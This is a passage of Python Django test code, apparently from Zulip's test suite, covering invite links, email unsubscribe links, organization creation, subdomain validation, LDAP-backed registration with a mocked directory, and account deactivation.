self.generate_multiuse_invite_link(date_sent=date_sent) result = self.client_post(invite_link, {'email': email}) self.assertEqual(result.status_code, 200) self.assert_in_response("Whoops. The confirmation link has expired.", result) def test_invalid_multiuse_link(self): # type: () -> None email = self.nonreg_email('newuser') invite_link = "/join/invalid_key/" result = self.client_post(invite_link, {'email': email}) self.assertEqual(result.status_code, 200) self.assert_in_response("Whoops. The confirmation link is malformed.", result) def test_invalid_multiuse_link_in_open_realm(self): # type: () -> None self.realm.invite_required = False self.realm.save() email = self.nonreg_email('newuser') invite_link = "/join/invalid_key/" with patch('zerver.views.registration.get_realm_from_request', return_value=self.realm): with patch('zerver.views.registration.get_realm', return_value=self.realm): self.check_user_able_to_register(email, invite_link) def test_multiuse_link_with_specified_streams(self): # type: () -> None name1 = "newuser" name2 = "bob" email1 = self.nonreg_email(name1) email2 = self.nonreg_email(name2) stream_names = ["Rome", "Scotland", "Venice"] streams = [get_stream(stream_name, self.realm) for stream_name in stream_names] invite_link = self.generate_multiuse_invite_link(streams=streams) self.check_user_able_to_register(email1, invite_link) self.check_user_subscribed_only_to_streams(name1, streams) stream_names = ["Rome", "Verona"] streams = [get_stream(stream_name, self.realm) for stream_name in stream_names] invite_link = self.generate_multiuse_invite_link(streams=streams) self.check_user_able_to_register(email2, invite_link) self.check_user_subscribed_only_to_streams(name2, streams) class EmailUnsubscribeTests(ZulipTestCase): def test_error_unsubscribe(self): # type: () -> None # An invalid insubscribe token "test123" produces an error. result = self.client_get('/accounts/unsubscribe/missed_messages/test123') self.assert_in_response('Unknown email unsubscribe request', result) # An unknown message type "fake" produces an error. user_profile = self.example_user('hamlet') unsubscribe_link = one_click_unsubscribe_link(user_profile, "fake") result = self.client_get(urllib.parse.urlparse(unsubscribe_link).path) self.assert_in_response('Unknown email unsubscribe request', result) def test_missedmessage_unsubscribe(self): # type: () -> None """ We provide one-click unsubscribe links in missed message e-mails that you can click even when logged out to update your email notification settings. """ user_profile = self.example_user('hamlet') user_profile.enable_offline_email_notifications = True user_profile.save() unsubscribe_link = one_click_unsubscribe_link(user_profile, "missed_messages") result = self.client_get(urllib.parse.urlparse(unsubscribe_link).path) self.assertEqual(result.status_code, 200) user_profile.refresh_from_db() self.assertFalse(user_profile.enable_offline_email_notifications) def test_welcome_unsubscribe(self): # type: () -> None """ We provide one-click unsubscribe links in welcome e-mails that you can click even when logged out to stop receiving them. """ user_profile = self.example_user('hamlet') # Simulate a new user signing up, which enqueues 2 welcome e-mails. enqueue_welcome_emails(user_profile) self.assertEqual(2, ScheduledEmail.objects.filter(user=user_profile).count()) # Simulate unsubscribing from the welcome e-mails. unsubscribe_link = one_click_unsubscribe_link(user_profile, "welcome") result = self.client_get(urllib.parse.urlparse(unsubscribe_link).path) # The welcome email jobs are no longer scheduled. self.assertEqual(result.status_code, 200) self.assertEqual(0, ScheduledEmail.objects.filter(user=user_profile).count()) def test_digest_unsubscribe(self): # type: () -> None """ We provide one-click unsubscribe links in digest e-mails that you can click even when logged out to stop receiving them. Unsubscribing from these emails also dequeues any digest email jobs that have been queued. """ user_profile = self.example_user('hamlet') self.assertTrue(user_profile.enable_digest_emails) # Enqueue a fake digest email. context = {'name': '', 'realm_uri': '', 'unread_pms': [], 'hot_conversations': [], 'new_users': [], 'new_streams': {'plain': []}, 'unsubscribe_link': ''} send_future_email('zerver/emails/digest', to_user_id=user_profile.id, context=context) self.assertEqual(1, ScheduledEmail.objects.filter(user=user_profile).count()) # Simulate unsubscribing from digest e-mails. unsubscribe_link = one_click_unsubscribe_link(user_profile, "digest") result = self.client_get(urllib.parse.urlparse(unsubscribe_link).path) # The setting is toggled off, and scheduled jobs have been removed. self.assertEqual(result.status_code, 200) # Circumvent user_profile caching. user_profile.refresh_from_db() self.assertFalse(user_profile.enable_digest_emails) self.assertEqual(0, ScheduledEmail.objects.filter(user=user_profile).count()) class RealmCreationTest(ZulipTestCase): def test_create_realm(self): # type: () -> None password = "test" string_id = "zuliptest" email = "user1@test.com" realm = get_realm('test') # Make sure the realm does not exist self.assertIsNone(realm) with self.settings(OPEN_REALM_CREATION=True): # Create new realm with the email result = self.client_post('/create_realm/', {'email': email}) self.assertEqual(result.status_code, 302) self.assertTrue(result["Location"].endswith( "/accounts/send_confirm/%s" % (email,))) result = self.client_get(result["Location"]) self.assert_in_response("Check your email so we can get started.", result) # Visit the confirmation link. confirmation_url = self.get_confirmation_url_from_outbox(email) result = self.client_get(confirmation_url) self.assertEqual(result.status_code, 200) result = self.submit_reg_form_for_user(email, password, realm_subdomain=string_id) self.assertEqual(result.status_code, 302) # Make sure the realm is created realm = get_realm(string_id) self.assertIsNotNone(realm) self.assertEqual(realm.string_id, string_id) self.assertEqual(get_user(email, realm).realm, realm) # Check defaults self.assertEqual(realm.org_type, Realm.CORPORATE) self.assertEqual(realm.restricted_to_domain, False) self.assertEqual(realm.invite_required, True) self.assertTrue(result["Location"].endswith("/")) # Check welcome messages for stream_name, text, message_count in [ ('announce', 'This is', 1), ('core team', 'This is', 1), ('general', 'Welcome to', 1), ('new members', 'stream is', 1), ('zulip', 'Here is', 3)]: stream = get_stream(stream_name, realm) recipient = get_recipient(Recipient.STREAM, stream.id) messages = Message.objects.filter(recipient=recipient).order_by('pub_date') self.assertEqual(len(messages), message_count) self.assertIn(text, messages[0].content) def test_create_realm_existing_email(self): # type: () -> None """ Trying to create a realm with an existing email should just redirect to a login page. """ with self.settings(OPEN_REALM_CREATION=True): email = self.example_email("hamlet") result = self.client_post('/create_realm/', {'email': email}) self.assertEqual(result.status_code, 302) self.assertIn('login', result['Location']) def test_create_realm_no_creation_key(self): # type: () -> None """ Trying to create a realm without a creation_key should fail when OPEN_REALM_CREATION is false. """ email = "user1@test.com" realm = get_realm('test') # Make sure the realm does not exist self.assertIsNone(realm) with self.settings(OPEN_REALM_CREATION=False): # Create new realm with the email, but no creation key. result = self.client_post('/create_realm/', {'email': email}) self.assertEqual(result.status_code, 200) self.assert_in_response('New organization creation disabled.', result) @override_settings(OPEN_REALM_CREATION=True) def test_create_realm_with_subdomain(self): # type: () -> None password = "test" string_id = "zuliptest" email = "user1@test.com" realm_name = "Test" # Make sure the realm does not exist self.assertIsNone(get_realm('test')) # Create new realm with the email result = self.client_post('/create_realm/', {'email': email}) self.assertEqual(result.status_code, 302) self.assertTrue(result["Location"].endswith( "/accounts/send_confirm/%s" % (email,))) result = self.client_get(result["Location"]) self.assert_in_response("Check your email so we can get started.", result) # Visit the confirmation link. confirmation_url = self.get_confirmation_url_from_outbox(email) result = self.client_get(confirmation_url) self.assertEqual(result.status_code, 200) result = self.submit_reg_form_for_user(email, password, realm_subdomain = string_id, realm_name=realm_name, # Pass HTTP_HOST for the target subdomain HTTP_HOST=string_id + ".testserver") self.assertEqual(result.status_code, 302) # Make sure the realm is created realm = get_realm(string_id) self.assertIsNotNone(realm) self.assertEqual(realm.string_id, string_id) self.assertEqual(get_user(email, realm).realm, realm) self.assertEqual(realm.name, realm_name) self.assertEqual(realm.subdomain, string_id) @override_settings(OPEN_REALM_CREATION=True) def test_mailinator_signup(self): # type: () -> None result = self.client_post('/create_realm/', {'email': "hi@mailinator.com"}) self.assert_in_response('Please use your real email address.', result) @override_settings(OPEN_REALM_CREATION=True) def test_subdomain_restrictions(self): # type: () -> None password = "test" email = "user1@test.com" realm_name = "Test" result = self.client_post('/create_realm/', {'email': email}) self.client_get(result["Location"]) confirmation_url = self.get_confirmation_url_from_outbox(email) self.client_get(confirmation_url) errors = {'id': "length 3 or greater", '-id': "cannot start or end with a", 'string-ID': "lowercase letters", 'string_id': "lowercase letters", 'stream': "unavailable", 'streams': "unavailable", 'about': "unavailable", 'abouts': "unavailable", 'zephyr': "unavailable"} for string_id, error_msg in errors.items(): result = self.submit_reg_form_for_user(email, password, realm_subdomain = string_id, realm_name = realm_name) self.assert_in_response(error_msg, result) # test valid subdomain result = self.submit_reg_form_for_user(email, password, realm_subdomain = 'a-0', realm_name = realm_name) self.assertEqual(result.status_code, 302) self.assertEqual(result.url, 'http://a-0.testserver/accounts/login/subdomain/') @override_settings(OPEN_REALM_CREATION=True) def test_subdomain_restrictions_root_domain(self): # type: () -> None password = "test" email = "user1@test.com" realm_name = "Test" result = self.client_post('/create_realm/', {'email': email}) self.client_get(result["Location"]) confirmation_url = self.get_confirmation_url_from_outbox(email) self.client_get(confirmation_url) # test root domain will fail with ROOT_DOMAIN_LANDING_PAGE with self.settings(ROOT_DOMAIN_LANDING_PAGE=True): result = self.submit_reg_form_for_user(email, password, realm_subdomain = '', realm_name = realm_name) self.assert_in_response('unavailable', result) # test valid use of root domain result = self.submit_reg_form_for_user(email, password, realm_subdomain = '', realm_name = realm_name) self.assertEqual(result.status_code, 302) self.assertEqual(result.url, 'http://testserver/accounts/login/subdomain/') @override_settings(OPEN_REALM_CREATION=True) def test_subdomain_restrictions_root_domain_option(self): # type: () -> None password = "test" email = "user1@test.com" realm_name = "Test" result = self.client_post('/create_realm/', {'email': email}) self.client_get(result["Location"]) confirmation_url = self.get_confirmation_url_from_outbox(email) self.client_get(confirmation_url) # test root domain will fail with ROOT_DOMAIN_LANDING_PAGE with self.settings(ROOT_DOMAIN_LANDING_PAGE=True): result = self.submit_reg_form_for_user(email, password, realm_subdomain = 'abcdef', realm_in_root_domain = 'true', realm_name = realm_name) self.assert_in_response('unavailable', result) # test valid use of root domain result = self.submit_reg_form_for_user(email, password, realm_subdomain = 'abcdef', realm_in_root_domain = 'true', realm_name = realm_name) self.assertEqual(result.status_code, 302) self.assertEqual(result.url, 'http://testserver/accounts/login/subdomain/') def test_is_root_domain_available(self): # type: () -> None self.assertTrue(is_root_domain_available()) with self.settings(ROOT_DOMAIN_LANDING_PAGE=True): self.assertFalse(is_root_domain_available()) realm = get_realm("zulip") realm.string_id = Realm.SUBDOMAIN_FOR_ROOT_DOMAIN realm.save() self.assertFalse(is_root_domain_available()) class UserSignUpTest(ZulipTestCase): def _assert_redirected_to(self, result, url): # type: (HttpResponse, Text) -> None self.assertEqual(result.status_code, 302) self.assertEqual(result['LOCATION'], url) def test_bad_email_configuration_for_accounts_home(self): # type: () -> None """ Make sure we redirect for SMTP errors. """ email = self.nonreg_email('newguy') smtp_mock = patch( 'zerver.views.registration.send_registration_completion_email', side_effect=smtplib.SMTPException('uh oh') ) error_mock = patch('logging.error') with smtp_mock, error_mock as err: result = self.client_post('/accounts/home/', {'email': email}) self._assert_redirected_to(result, '/config-error/smtp') self.assertEqual( err.call_args_list[0][0][0], 'Error in accounts_home: uh oh' ) def test_bad_email_configuration_for_create_realm(self): # type: () -> None """ Make sure we redirect for SMTP errors. """ email = self.nonreg_email('newguy') smtp_mock = patch( 'zerver.views.registration.send_registration_completion_email', side_effect=smtplib.SMTPException('uh oh') ) error_mock = patch('logging.error') with smtp_mock, error_mock as err: result = self.client_post('/create_realm/', {'email': email}) self._assert_redirected_to(result, '/config-error/smtp') self.assertEqual( err.call_args_list[0][0][0], 'Error in create_realm: uh oh' ) def test_user_default_language_and_timezone(self): # type: () -> None """ Check if the default language of new user is the default language of the realm. """ email = self.nonreg_email('newguy') password = "newpassword" timezone = "US/Mountain" realm = get_realm('zulip') do_set_realm_property(realm, 'default_language', u"de") result = self.client_post('/accounts/home/', {'email': email}) self.assertEqual(result.status_code, 302) self.assertTrue(result["Location"].endswith( "/accounts/send_confirm/%s" % (email,))) result = self.client_get(result["Location"]) self.assert_in_response("Check your email so we can get started.", result) # Visit the confirmation link. confirmation_url = self.get_confirmation_url_from_outbox(email) result = self.client_get(confirmation_url) self.assertEqual(result.status_code, 200) # Pick a password and agree to the ToS. result = self.submit_reg_form_for_user(email, password, timezone=timezone) self.assertEqual(result.status_code, 302) user_profile = self.nonreg_user('newguy') self.assertEqual(user_profile.default_language, realm.default_language) self.assertEqual(user_profile.timezone, timezone) from django.core.mail import outbox outbox.pop() def test_signup_already_active(self): # type: () -> None """ Check if signing up with an active email redirects to a login page. """ email = self.example_email("hamlet") result = self.client_post('/accounts/home/', {'email': email}) self.assertEqual(result.status_code, 302) self.assertIn('login', result['Location']) result = self.client_get(result.url) self.assert_in_response("You've already registered", result) def test_signup_invalid_name(self): # type: () -> None """ Check if an invalid name during signup is handled properly. """ email = "newguy@zulip.com" password = "newpassword" result = self.client_post('/accounts/home/', {'email': email}) self.assertEqual(result.status_code, 302) self.assertTrue(result["Location"].endswith( "/accounts/send_confirm/%s" % (email,))) result = self.client_get(result["Location"]) self.assert_in_response("Check your email so we can get started.", result) # Visit the confirmation link. confirmation_url = self.get_confirmation_url_from_outbox(email) result = self.client_get(confirmation_url) self.assertEqual(result.status_code, 200) # Pick a password and agree to the ToS. result = self.submit_reg_form_for_user(email, password, full_name="<invalid>") self.assert_in_success_response(["Invalid characters in name!"], result) # Verify that the user is asked for name and password self.assert_in_success_response(['id_password', 'id_full_name'], result) def test_signup_without_password(self): # type: () -> None """ Check if signing up without a password works properly when password_auth_enabled is False. """ email = self.nonreg_email('newuser') result = self.client_post('/accounts/home/', {'email': email}) self.assertEqual(result.status_code, 302) self.assertTrue(result["Location"].endswith( "/accounts/send_confirm/%s" % (email,))) result = self.client_get(result["Location"]) self.assert_in_response("Check your email so we can get started.", result) # Visit the confirmation link. confirmation_url = self.get_confirmation_url_from_outbox(email) result = self.client_get(confirmation_url) self.assertEqual(result.status_code, 200) with patch('zerver.views.registration.password_auth_enabled', return_value=False): result = self.client_post( '/accounts/register/', {'full_name': 'New User', 'key': find_key_by_email(email), 'terms': True}) # User should now be logged in. self.assertEqual(result.status_code, 302) user_profile = self.nonreg_user('newuser') self.assertEqual(get_session_dict_user(self.client.session), user_profile.id) def test_signup_without_full_name(self): # type: () -> None """ Check if signing up without a full name redirects to a registration form. """ email = "newguy@zulip.com" password = "newpassword" result = self.client_post('/accounts/home/', {'email': email}) self.assertEqual(result.status_code, 302) self.assertTrue(result["Location"].endswith( "/accounts/send_confirm/%s" % (email,))) result = self.client_get(result["Location"]) self.assert_in_response("Check your email so we can get started.", result) # Visit the confirmation link. confirmation_url = self.get_confirmation_url_from_outbox(email) result = self.client_get(confirmation_url) self.assertEqual(result.status_code, 200) result = self.client_post( '/accounts/register/', {'password': password, 'key': find_key_by_email(email), 'terms': True, 'from_confirmation': '1'}) self.assert_in_success_response(["You're almost there."], result) # Verify that the user is asked for name and password self.assert_in_success_response(['id_password', 'id_full_name'], result) def test_signup_with_full_name(self): # type: () -> None """ Check if signing up without a full name redirects to a registration form. """ email = "newguy@zulip.com" password = "newpassword" result = self.client_post('/accounts/home/', {'email': email}) self.assertEqual(result.status_code, 302) self.assertTrue(result["Location"].endswith( "/accounts/send_confirm/%s" % (email,))) result = self.client_get(result["Location"]) self.assert_in_response("Check your email so we can get started.", result) # Visit the confirmation link. confirmation_url = self.get_confirmation_url_from_outbox(email) result = self.client_get(confirmation_url) self.assertEqual(result.status_code, 200) result = self.client_post( '/accounts/register/', {'password': password, 'key': find_key_by_email(email), 'terms': True, 'full_name': "New Guy", 'from_confirmation': '1'}) self.assert_in_success_response(["You're almost there."], result) def test_signup_invalid_subdomain(self): # type: () -> None """ Check if attempting to authenticate to the wrong subdomain logs an error and redirects. """ email = "newuser@zulip.com" password = "newpassword" result = self.client_post('/accounts/home/', {'email': email}) self.assertEqual(result.status_code, 302) self.assertTrue(result["Location"].endswith( "/accounts/send_confirm/%s" % (email,))) result = self.client_get(result["Location"]) self.assert_in_response("Check your email so we can get started.", result) # Visit the confirmation link. confirmation_url = self.get_confirmation_url_from_outbox(email) result = self.client_get(confirmation_url) self.assertEqual(result.status_code, 200) def invalid_subdomain(**kwargs): # type: (**Any) -> Any return_data = kwargs.get('return_data', {}) return_data['invalid_subdomain'] = True with patch('zerver.views.registration.authenticate', side_effect=invalid_subdomain): with patch('logging.error') as mock_error: result = self.client_post( '/accounts/register/', {'password': password, 'full_name': 'New User', 'key': find_key_by_email(email), 'terms': True}) mock_error.assert_called_once() self.assertEqual(result.status_code, 302) def test_failed_signup_due_to_restricted_domain(self): # type: () -> None realm = get_realm('zulip') realm.invite_required = False realm.save() request = HostRequestMock(host = realm.host) request.session = {} # type: ignore email = 'user@acme.com' form = HomepageForm({'email': email}, realm=realm) self.assertIn("Your email address, {}, is not in one of the domains".format(email), form.errors['email'][0]) def test_failed_signup_due_to_invite_required(self): # type: () -> None realm = get_realm('zulip') realm.invite_required = True realm.save() request = HostRequestMock(host = realm.host) request.session = {} # type: ignore email = 'user@zulip.com' form = HomepageForm({'email': email}, realm=realm) self.assertIn("Please request an invite for {} from".format(email), form.errors['email'][0]) def test_failed_signup_due_to_nonexistent_realm(self): # type: () -> None request = HostRequestMock(host = 'acme.' + settings.EXTERNAL_HOST) request.session = {} # type: ignore email = 'user@acme.com' form = HomepageForm({'email': email}, realm=None) self.assertIn("organization you are trying to join using {} does " "not exist".format(email), form.errors['email'][0]) @override_settings(AUTHENTICATION_BACKENDS=('zproject.backends.ZulipLDAPAuthBackend', 'zproject.backends.ZulipDummyBackend')) def test_ldap_registration_from_confirmation(self): # type: () -> None password = "testing" email = "newuser@zulip.com" subdomain = "zulip" ldap_user_attr_map = {'full_name': 'fn', 'short_name': 'sn'} ldap_patcher = patch('django_auth_ldap.config.ldap.initialize') mock_initialize = ldap_patcher.start() mock_ldap = MockLDAP() mock_initialize.return_value = mock_ldap mock_ldap.directory = { 'uid=newuser,ou=users,dc=zulip,dc=com': { 'userPassword': 'testing', 'fn': ['New LDAP fullname'] } } with patch('zerver.views.registration.get_subdomain', return_value=subdomain): result = self.client_post('/register/', {'email': email}) self.assertEqual(result.status_code, 302) self.assertTrue(result["Location"].endswith( "/accounts/send_confirm/%s" % (email,))) result = self.client_get(result["Location"]) self.assert_in_response("Check your email so we can get started.", result) # Visit the confirmation link. from django.core.mail import outbox for message in reversed(outbox): if email in message.to: confirmation_link_pattern = re.compile(settings.EXTERNAL_HOST + "(\S+)>") confirmation_url = confirmation_link_pattern.search( message.body).groups()[0] break else: raise AssertionError("Couldn't find a confirmation email.") with self.settings( POPULATE_PROFILE_VIA_LDAP=True, LDAP_APPEND_DOMAIN='zulip.com', AUTH_LDAP_BIND_PASSWORD='', AUTH_LDAP_USER_ATTR_MAP=ldap_user_attr_map, AUTH_LDAP_USER_DN_TEMPLATE='uid=%(user)s,ou=users,dc=zulip,dc=com'): result = self.client_get(confirmation_url) self.assertEqual(result.status_code, 200) # Full name should be set from LDAP result = self.submit_reg_form_for_user(email, password, full_name="Ignore", from_confirmation="1", # Pass HTTP_HOST for the target subdomain HTTP_HOST=subdomain + ".testserver") self.assert_in_success_response(["You're almost there.", "New LDAP fullname", "newuser@zulip.com"], result) # Verify that the user is asked for name self.assert_in_success_response(['id_full_name'], result) # TODO: Ideally, we wouldn't ask for a password if LDAP is # enabled, in which case this assert should be invertedq. self.assert_in_success_response(['id_password'], result) # Test the TypeError exception handler mock_ldap.directory = { 'uid=newuser,ou=users,dc=zulip,dc=com': { 'userPassword': 'testing', 'fn': None # This will raise TypeError } } result = self.submit_reg_form_for_user(email, password, from_confirmation='1', # Pass HTTP_HOST for the target subdomain HTTP_HOST=subdomain + ".testserver") self.assert_in_success_response(["You're almost there.", "newuser@zulip.com"], result) @override_settings(AUTHENTICATION_BACKENDS=('zproject.backends.ZulipLDAPAuthBackend', 'zproject.backends.ZulipDummyBackend')) def test_ldap_registration_end_to_end(self): # type: () -> None password = "testing" email = "newuser@zulip.com" subdomain = "zulip" ldap_user_attr_map = {'full_name': 'fn', 'short_name': 'sn'} ldap_patcher = patch('django_auth_ldap.config.ldap.initialize') mock_initialize = ldap_patcher.start() mock_ldap = MockLDAP() mock_initialize.return_value = mock_ldap full_name = 'New LDAP fullname' mock_ldap.directory = { 'uid=newuser,ou=users,dc=zulip,dc=com': { 'userPassword': 'testing', 'fn': [full_name], 'sn': ['shortname'], } } with patch('zerver.views.registration.get_subdomain', return_value=subdomain): result = self.client_post('/register/', {'email': email}) self.assertEqual(result.status_code, 302) self.assertTrue(result["Location"].endswith( "/accounts/send_confirm/%s" % (email,))) result = self.client_get(result["Location"]) self.assert_in_response("Check your email so we can get started.", result) with self.settings( POPULATE_PROFILE_VIA_LDAP=True, LDAP_APPEND_DOMAIN='zulip.com', AUTH_LDAP_BIND_PASSWORD='', AUTH_LDAP_USER_ATTR_MAP=ldap_user_attr_map, AUTH_LDAP_USER_DN_TEMPLATE='uid=%(user)s,ou=users,dc=zulip,dc=com'): # Click confirmation link result = self.submit_reg_form_for_user(email, password, full_name="Ignore", from_confirmation="1", # Pass HTTP_HOST for the target subdomain HTTP_HOST=subdomain + ".testserver") # Full name should be set from LDAP self.assert_in_success_response(["You're almost there.", full_name, "newuser@zulip.com"], result) # Submit the final form with the wrong password. result = self.submit_reg_form_for_user(email, 'wrongpassword', full_name=full_name, # Pass HTTP_HOST for the target subdomain HTTP_HOST=subdomain + ".testserver") # Didn't create an account with self.assertRaises(UserProfile.DoesNotExist): user_profile = UserProfile.objects.get(email=email) self.assertEqual(result.status_code, 302) self.assertEqual(result.url, "/accounts/login/?email=newuser%40zulip.com") # Submit the final form with the wrong password. result = self.submit_reg_form_for_user(email, password, full_name=full_name, # Pass HTTP_HOST for the target subdomain HTTP_HOST=subdomain + ".testserver") user_profile = UserProfile.objects.get(email=email) # Name comes from form which was set by LDAP. self.assertEqual(user_profile.full_name, full_name) @override_settings(AUTHENTICATION_BACKENDS=('zproject.backends.ZulipLDAPAuthBackend', 'zproject.backends.ZulipDummyBackend')) def test_ldap_auto_registration_on_login(self): # type: () -> None """The most common way for LDAP authentication to be used is with a server that doesn't have a terms-of-service required, in which case we offer a complete single-sign-on experience (where the user just enters their LDAP username and password, and their account is created if it doesn't already exist). This test verifies that flow. """ password = "testing" email = "newuser@zulip.com" subdomain = "zulip" ldap_user_attr_map = {'full_name': 'fn', 'short_name': 'sn'} ldap_patcher = patch('django_auth_ldap.config.ldap.initialize') mock_initialize = ldap_patcher.start() mock_ldap = MockLDAP() mock_initialize.return_value = mock_ldap full_name = 'New LDAP fullname' mock_ldap.directory = { 'uid=newuser,ou=users,dc=zulip,dc=com': { 'userPassword': 'testing', 'fn': [full_name], 'sn': ['shortname'], } } with self.settings( POPULATE_PROFILE_VIA_LDAP=True, LDAP_APPEND_DOMAIN='zulip.com', AUTH_LDAP_BIND_PASSWORD='', AUTH_LDAP_USER_ATTR_MAP=ldap_user_attr_map, AUTH_LDAP_USER_DN_TEMPLATE='uid=%(user)s,ou=users,dc=zulip,dc=com'): self.login_with_return(email, password, HTTP_HOST=subdomain + ".testserver") user_profile = UserProfile.objects.get(email=email) # Name comes from form which was set by LDAP. self.assertEqual(user_profile.full_name, full_name) @override_settings(AUTHENTICATION_BACKENDS=('zproject.backends.ZulipLDAPAuthBackend', 'zproject.backends.ZulipDummyBackend')) def test_ldap_registration_when_names_changes_are_disabled(self): # type: () -> None password = "testing" email = "newuser@zulip.com" subdomain = "zulip" ldap_user_attr_map = {'full_name': 'fn', 'short_name': 'sn'} ldap_patcher = patch('django_auth_ldap.config.ldap.initialize') mock_initialize = ldap_patcher.start() mock_ldap = MockLDAP() mock_initialize.return_value = mock_ldap mock_ldap.directory = { 'uid=newuser,ou=users,dc=zulip,dc=com': { 'userPassword': 'testing', 'fn': ['New LDAP fullname'], 'sn': ['New LDAP shortname'], } } with patch('zerver.views.registration.get_subdomain', return_value=subdomain): result = self.client_post('/register/', {'email': email}) self.assertEqual(result.status_code, 302) self.assertTrue(result["Location"].endswith( "/accounts/send_confirm/%s" % (email,))) result = self.client_get(result["Location"]) self.assert_in_response("Check your email so we can get started.", result) with self.settings( POPULATE_PROFILE_VIA_LDAP=True, LDAP_APPEND_DOMAIN='zulip.com', AUTH_LDAP_BIND_PASSWORD='', AUTH_LDAP_USER_ATTR_MAP=ldap_user_attr_map, AUTH_LDAP_USER_DN_TEMPLATE='uid=%(user)s,ou=users,dc=zulip,dc=com'): # Click confirmation link. This will 'authenticated_full_name' # session variable which will be used to set the fullname of # the user. result = self.submit_reg_form_for_user(email, password, full_name="Ignore", from_confirmation="1", # Pass HTTP_HOST for the target subdomain HTTP_HOST=subdomain + ".testserver") with patch('zerver.views.registration.name_changes_disabled', return_value=True): result = self.submit_reg_form_for_user(email, password, # Pass HTTP_HOST for the target subdomain HTTP_HOST=subdomain + ".testserver") user_profile = UserProfile.objects.get(email=email) # Name comes from LDAP session. self.assertEqual(user_profile.full_name, 'New LDAP fullname') def test_registration_when_name_changes_are_disabled(self): # type: () -> None """ Test `name_changes_disabled` when we are not running under LDAP. """ password = "testing" email = "newuser@zulip.com" subdomain = "zulip" with patch('zerver.views.registration.get_subdomain', return_value=subdomain): result = self.client_post('/register/', {'email': email}) self.assertEqual(result.status_code, 302) self.assertTrue(result["Location"].endswith( "/accounts/send_confirm/%s" % (email,))) result = self.client_get(result["Location"]) self.assert_in_response("Check your email so we can get started.", result) with patch('zerver.views.registration.name_changes_disabled', return_value=True): result = self.submit_reg_form_for_user(email, password, full_name="New Name", # Pass HTTP_HOST for the target subdomain HTTP_HOST=subdomain + ".testserver") user_profile = UserProfile.objects.get(email=email) # 'New Name' comes from POST data; not from LDAP session. self.assertEqual(user_profile.full_name, 'New Name') def test_realm_creation_through_ldap(self): # type: () -> None password = "testing" email = "newuser@zulip.com" subdomain = "zulip" realm_name = "Zulip" ldap_user_attr_map = {'full_name': 'fn', 'short_name': 'sn'} ldap_patcher = patch('django_auth_ldap.config.ldap.initialize') mock_initialize = ldap_patcher.start() mock_ldap = MockLDAP() mock_initialize.return_value = mock_ldap mock_ldap.directory = { 'uid=newuser,ou=users,dc=zulip,dc=com': { 'userPassword': 'testing', 'fn': ['New User Name'] } } with patch('zerver.views.registration.get_subdomain', return_value=subdomain): result = self.client_post('/register/', {'email': email}) self.assertEqual(result.status_code, 302) self.assertTrue(result["Location"].endswith( "/accounts/send_confirm/%s" % (email,))) result = self.client_get(result["Location"]) self.assert_in_response("Check your email so we can get started.", result) # Visit the confirmation link. from django.core.mail import outbox for message in reversed(outbox): if email in message.to: confirmation_link_pattern = re.compile(settings.EXTERNAL_HOST + "(\S+)>") confirmation_url = confirmation_link_pattern.search( message.body).groups()[0] break else: raise AssertionError("Couldn't find a confirmation email.") with self.settings( POPULATE_PROFILE_VIA_LDAP=True, LDAP_APPEND_DOMAIN='zulip.com', AUTH_LDAP_BIND_PASSWORD='', AUTH_LDAP_USER_ATTR_MAP=ldap_user_attr_map, AUTHENTICATION_BACKENDS=('zproject.backends.ZulipLDAPAuthBackend',), AUTH_LDAP_USER_DN_TEMPLATE='uid=%(user)s,ou=users,dc=zulip,dc=com', TERMS_OF_SERVICE=False, ): result = self.client_get(confirmation_url) self.assertEqual(result.status_code, 200) key = find_key_by_email(email), confirmation = Confirmation.objects.get(confirmation_key=key[0]) prereg_user = confirmation.content_object prereg_user.realm_creation = True prereg_user.save() result = self.submit_reg_form_for_user(email, password, realm_name=realm_name, realm_subdomain=subdomain, from_confirmation='1', # Pass HTTP_HOST for the target subdomain HTTP_HOST=subdomain + ".testserver") self.assert_in_success_response(["You're almost there.", "newuser@zulip.com"], result) mock_ldap.reset() mock_initialize.stop() @patch('DNS.dnslookup', return_value=[['sipbtest:*:20922:101:Fred Sipb,,,:/mit/sipbtest:/bin/athena/tcsh']]) def test_registration_of_mirror_dummy_user(self, ignored): # type: (Any) -> None password = "test" subdomain = "zephyr" user_profile = self.mit_user("sipbtest") email = user_profile.email user_profile.is_mirror_dummy = True user_profile.is_active = False user_profile.save() result = self.client_post('/register/', {'email': email}, subdomain="zephyr") self.assertEqual(result.status_code, 302) self.assertTrue(result["Location"].endswith( "/accounts/send_confirm/%s" % (email,))) result = self.client_get(result["Location"], subdomain="zephyr") self.assert_in_response("Check your email so we can get started.", result) # Visit the confirmation link. from django.core.mail import outbox for message in reversed(outbox): if email in message.to: confirmation_link_pattern = re.compile(settings.EXTERNAL_HOST + "(\S+)>") confirmation_url = confirmation_link_pattern.search( message.body).groups()[0] break else: raise AssertionError("Couldn't find a confirmation email.") result = self.client_get(confirmation_url, subdomain="zephyr") self.assertEqual(result.status_code, 200) # If the mirror dummy user is already active, attempting to submit the # registration form should just redirect to a login page. user_profile.is_active = True user_profile.save() result = self.submit_reg_form_for_user(email, password, from_confirmation='1', # Pass HTTP_HOST for the target subdomain HTTP_HOST=subdomain + ".testserver") self.assertEqual(result.status_code, 302) self.assertIn('login', result['Location']) user_profile.is_active = False user_profile.save() result = self.submit_reg_form_for_user(email, password, from_confirmation='1', # Pass HTTP_HOST for the target subdomain HTTP_HOST=subdomain + ".testserver") self.assertEqual(result.status_code, 200) result = self.submit_reg_form_for_user(email, password, # Pass HTTP_HOST for the target subdomain HTTP_HOST=subdomain + ".testserver") self.assertEqual(result.status_code, 302) self.assertEqual(get_session_dict_user(self.client.session), user_profile.id) def test_registration_of_active_mirror_dummy_user(self): # type: (Any) -> None """ Trying to activate an already-active mirror dummy user should just redirect to a login page. """ user_profile = self.mit_user("sipbtest") email = user_profile.email user_profile.is_mirror_dummy = True user_profile.is_active = True user_profile.save() result = self.client_post('/register/', {'email': email}) self.assertEqual(result.status_code, 302) self.assertIn('login', result['Location']) class DeactivateUserTest(ZulipTestCase): def test_deactivate_user(self): # type: () -> None email = self.example_email("hamlet") self.login(email) user = self.example_user('hamlet') self.assertTrue(user.is_active) result = self.client_delete('/json/users/me') self.assert_json_success(result) user = self.example_user('hamlet') self.assertFalse(user.is_active) self.login(email, fails=True) def test_do_not_deactivate_final_admin(self): # type: () -> None email = self.example_email("iago") self.login(email) user = self.example_user('iago') self.assertTrue(user.is_active) result = self.client_delete('/json/users/me') self.assert_json_error(result, "Cannot deactivate the only organization administrator") user = self.example_user('iago') self.assertTrue(user.is_active) self.assertTrue(user.is_realm_admin) 